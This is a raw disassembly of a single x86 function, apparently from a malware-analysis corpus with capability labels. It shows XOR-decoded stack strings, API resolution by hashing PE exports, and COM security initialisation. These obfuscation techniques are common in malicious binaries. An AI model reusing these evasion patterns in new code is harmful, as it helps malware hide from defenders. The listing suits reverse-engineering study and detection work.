Function at 0x40aca0
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x18c
mov eax, dword [0x44bafc]
mov dword [esp + 0xc], 0xd561cb71
mov dword [esp + 0x10], 0xd17ed762
mov dword [esp + 0x14], 0xdd6ed36c
mov dword [esp + 0x18], 0xd9a8df6c
mov dword [esp + 0x1c], 0x256edb74
mov dword [esp + 0x20], 0x21262790
mov word [esp + 0x24], 0
mov byte [esp + 0x26], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x1a
ja 0x40ad36
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0xc]
add ecx, 0x2818876d
xor ecx, edx
mov dword [esp + 0x10c], ecx
mov ecx, dword [esp + 0x10c]
add cl, 0x5b
mov edx, dword [esp]
mov byte [esp + edx + 0xc], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x1b
jb 0x40ad00
lea esi, [esp + 0xc]
push 0x800
push 0
push esi
call eax
mov ecx, 0x44bac4
push eax
call fcn.0043df60
xor ebx, ebx
test al, al
je 0x40b40a
push 0xe2bceb04
push dword [0x44bac4]
call fcn.004402f0
add esp, 8
mov dword [0x44bacc], eax
push 0x248106fa
push dword [0x44bac4]
call fcn.004402f0
add esp, 8
mov dword [0x44bad0], eax
push 0x89b8457d
push dword [0x44bac4]
call fcn.004402f0
add esp, 8
mov dword [0x44bad4], eax
push 0x44f824fb
push dword [0x44bac4]
call fcn.004402f0
add esp, 8
mov dword [0x44bad8], eax
push 0xf072343c
push dword [0x44bac4]
call fcn.004402f0
add esp, 8
mov dword [0x44badc], eax
push 0x638f2392
push dword [0x44bac4]
call fcn.004402f0
add esp, 8
mov dword [0x44bae0], eax
push 0xd711af57
push dword [0x44bac4]
call fcn.004402f0
add esp, 8
mov dword [0x44bae4], eax
push 0x1ad145e2
push dword [0x44bac4]
call fcn.004402f0
add esp, 8
mov dword [0x44bae8], eax
push 0xedb83653
push dword [0x44bac4]
call fcn.004402f0
add esp, 8
mov dword [0x44baec], eax
push 0xe9e47300
push dword [0x44bac4]
call fcn.004402f0
add esp, 8
mov dword [0x44baf0], eax
push 0x6b702a5b
push dword [0x44bac4]
call fcn.004402f0
add esp, 8
mov dword [0x44baf4], eax
push 0xc135ffae
push dword [0x44bac4]
call fcn.004402f0
add esp, 8
mov dword [0x44baf8], eax
lea edi, [esp + 0x10b]
lea eax, [esp + 0x10c]
push eax
push dword [ebx + 0x4443e4]
call fcn.00439a60
add esp, 8
mov ebp, edi
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebp + 1], 0
lea ebp, [ebp + 1]
jne 0x40aea0
mov dword [esp], 0
mov eax, esi
lea ecx, [esp + 0x10c]
cmp ecx, ebp
jae 0x40af21
xor esi, esi
lea edi, [esp + 0x10c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [edi], 0
je 0x40af10
mov eax, esp
push eax
push ebp
push edi
call fcn.0040d340
add esp, 0xc
movzx edx, word [esp]
lea ecx, [esi + 2]
mov word [esp + esi + 0xc], dx
cmp esi, 0xfb
ja 0x40aefe
add edi, eax
mov esi, ecx
cmp edi, ebp
jb 0x40aed0
lea eax, [esp + ecx]
add eax, 0xc
jmp 0x40af16
lea eax, [esp + esi]
add eax, 0xc
lea esi, [esp + 0xc]
lea edi, [esp + 0x10b]
mov word [eax], 0
push esi
call fcn.0040b420
add esp, 4
test al, al
jne 0x40b188
add ebx, 4
cmp ebx, 0x24
jne 0x40ae80
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0x7de87be2
mov dword [esp + 0x10], 0x71e07fea
mov dword [esp + 0x14], 0x75be73e1
mov dword [esp + 0x18], 0x69b777a9
mov dword [esp + 0x1c], 0x6df86bf9
mov dword [esp + 0x20], 0x61816f8b
mov dword [esp + 0x24], 0x658763ff
mov dword [esp + 0x28], 0x198567f9
mov dword [esp + 0x2c], 0x1d891b87
mov dword [esp + 0x30], 0x11891f80
mov dword [esp + 0x34], 0x159d1386
mov dword [esp + 0x38], 0x9eb17c8
mov dword [esp + 0x3c], 0xd910b95
mov dword [esp + 0x40], 0x1900fd1
mov dword [esp + 0x44], 0x59b0390
mov dword [esp + 0x48], 0x39a107e0
mov dword [esp + 0x4c], 0x3dd93ba6
mov dword [esp + 0x50], 0x31ef3fad
mov dword [esp + 0x54], 0x35e233e5
mov dword [esp + 0x58], 0x29fe37e3
mov dword [esp + 0x5c], 0x2dfd2bfb
mov dword [esp + 0x60], 0x21e92fe7
mov dword [esp + 0x64], 0x25f623f5
mov dword [esp + 0x68], 0xd90b27f2
mov dword [esp + 0x6c], 0xdd0ddb09
mov dword [esp + 0x70], 0xd100df17
mov dword [esp + 0x74], 0xd5d4d302
mov byte [esp + 0x7a], 0
mov word [esp + 0x78], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x6e
ja 0x40b084
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0xc]
add eax, 0xc6359f22
xor eax, ecx
mov dword [esp + 0x10c], eax
mov eax, dword [esp + 0x10c]
add al, 0xa8
mov ecx, dword [esp]
mov byte [esp + ecx + 0xc], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x6f
jb 0x40b050
lea eax, [esp + 8]
lea ecx, [esp + 4]
lea edi, [esp + 0xc]
push eax
push ecx
push edi
call fcn.0040ba10
add esp, 0xc
test al, al
je 0x40b408
mov dword [esp + 0xc], 0xbdafa991
mov dword [esp + 0x10], 0xaeb6f0af
mov dword [esp + 0x14], 0x99a2a1b6
mov dword [esp + 0x18], 0x9e8e8bcb
mov dword [esp + 0x1c], 0x8f938f9a
mov dword [esp + 0x20], 0x97918791
mov dword [esp + 0x24], 0x87849a94
mov dword [esp + 0x28], 0x9d849b87
mov word [esp + 0x2c], 0xb2df
mov byte [esp + 0x2e], 0xff
mov word [esp + 0x2f], 0
mov byte [esp + 0x31], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x25
ja 0x40b144
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0xc]
add eax, 0x49ef9854
xor eax, ecx
mov dword [esp + 0x10c], eax
mov eax, dword [esp + 0x10c]
add al, 0x77
mov ecx, dword [esp]
mov byte [esp + ecx + 0xc], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x26
jb 0x40b110
mov ecx, dword [esp + 4]
movzx ebx, byte [esp + 0xc]
test bl, bl
je 0x40b20e
mov edx, edi
mov ebp, ecx
jmp 0x40b16b
movzx ebx, byte [edx]
test bl, bl
je 0x40b210
mov bh, byte [ecx]
test bh, bh
je 0x40b3fc
inc ecx
inc edx
lea esi, [ebp + 1]
cmp bh, bl
je 0x40b182
mov ebp, esi
mov ecx, esi
je 0x40b160
mov edx, edi
jmp 0x40b160
movzx eax, word [esp + 0xc]
test ax, ax
je 0x40b1bf
mov ecx, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx + 0x44bafe], ax
movzx eax, word [esp + ecx + 0xc]
add ecx, 2
test ax, ax
jne 0x40b1a0
mov word [ecx + 0x44bafe], 0
jmp 0x40b1c8
mov word [0x44bb00], 0
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
js 0x40b408
push 0
push 0
push 0
push 3
push 0
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
test eax, eax
js 0x40b408
push 0x44baa0
call fcn.00438f90
add esp, 4
mov bl, 1
jmp 0x40b40a
mov ebp, ecx
test ebp, ebp
je 0x40b3fc
mov dword [esp + 0xc], 0x2f2deaf8
mov dword [esp + 0x10], 0xbbfc2fd9
mov dword [esp + 0x14], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0xb
ja 0x40b276
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0xc]
add ecx, 0xe6dd3fa0
xor ecx, edx
mov dword [esp + 0x10c], ecx
mov ecx, dword [esp + 0x10c]
add cl, 0xe4
mov edx, dword [esp]
mov byte [esp + edx + 0xc], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0xc
jb 0x40b240
movzx edx, byte [esp + 0xc]
mov ecx, ebp
test dl, dl
je 0x40b2b4
lea eax, [esp + 0xc]
mov edi, eax
mov ebx, ebp
mov ecx, ebp
jmp 0x40b297
movzx edx, byte [edi]
test dl, dl
je 0x40b2b4
mov dh, byte [ebx]
test dh, dh
je 0x40b3fc
inc ebx
inc edi
lea esi, [ecx + 1]
cmp dh, dl
je 0x40b2ae
mov ecx, esi
mov ebx, esi
je 0x40b290
mov edi, eax
jmp 0x40b290
test ecx, ecx
je 0x40b3fc
mov byte [ecx], 0
mov ecx, 0xffffffff
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebp + ecx + 0x23], 0
lea ecx, [ecx + 1]
jne 0x40b2d0
test ecx, ecx
je 0x40b326
xor edx, edx
jmp 0x40b307
mov eax, esi
and eax, 1
xor esi, 0x61
lea ebx, [esi + eax*2]
mov byte [esp + edx + 0x10c], bl
inc edx
cmp ecx, edx
je 0x40b326
movzx ebx, byte [ebp + edx + 0x22]
mov eax, ebx
add al, 0x9f
cmp al, 0x19
ja 0x40b2fb
movzx edi, bl
lea esi, [edi - 0x52]
cmp esi, 0x1a
jb 0x40b2f0
add edi, 0xffffff94
mov esi, edi
jmp 0x40b2f0
mov byte [esp + ecx + 0x10c], 0
lea ebx, [esp + 0x10b]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebx + 1], 0
lea ebx, [ebx + 1]
jne 0x40b340
mov dword [esp], 0
lea edi, [esp + 0xc]
lea ebp, [esp + 0x10c]
mov eax, edi
cmp ebp, ebx
jae 0x40b39d
xor esi, esi
cmp byte [ebp], 0
je 0x40b397
mov eax, esp
push eax
push ebx
push ebp
call fcn.0040d340
add esp, 0xc
movzx edx, word [esp]
lea ecx, [esi + 2]
mov word [esp + esi + 0xc], dx
cmp esi, 0x7b
ja 0x40b38f
add ebp, eax
mov esi, ecx
cmp ebp, ebx
jb 0x40b363
lea eax, [esp + ecx]
add eax, 0xc
jmp 0x40b39d
lea eax, [esp + esi]
add eax, 0xc
mov word [eax], 0
push edi
call fcn.0040b420
add esp, 4
test al, al
je 0x40b3fc
mov ebx, eax
movzx ecx, word [esp + 0xc]
mov eax, 0x44bb00
test cx, cx
je 0x40b3e1
lea edx, [esp + 0xe]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x40b3d0
mov word [eax], 0
push dword [esp + 4]
call fcn.0043cd00
add esp, 4
test bl, bl
jne 0x40b1c8
jmp 0x40b408
push dword [esp + 4]
call fcn.0043cd00
add esp, 4
xor ebx, ebx
mov eax, ebx
add esp, 0x18c
pop esi
pop edi
pop ebx
pop ebp
ret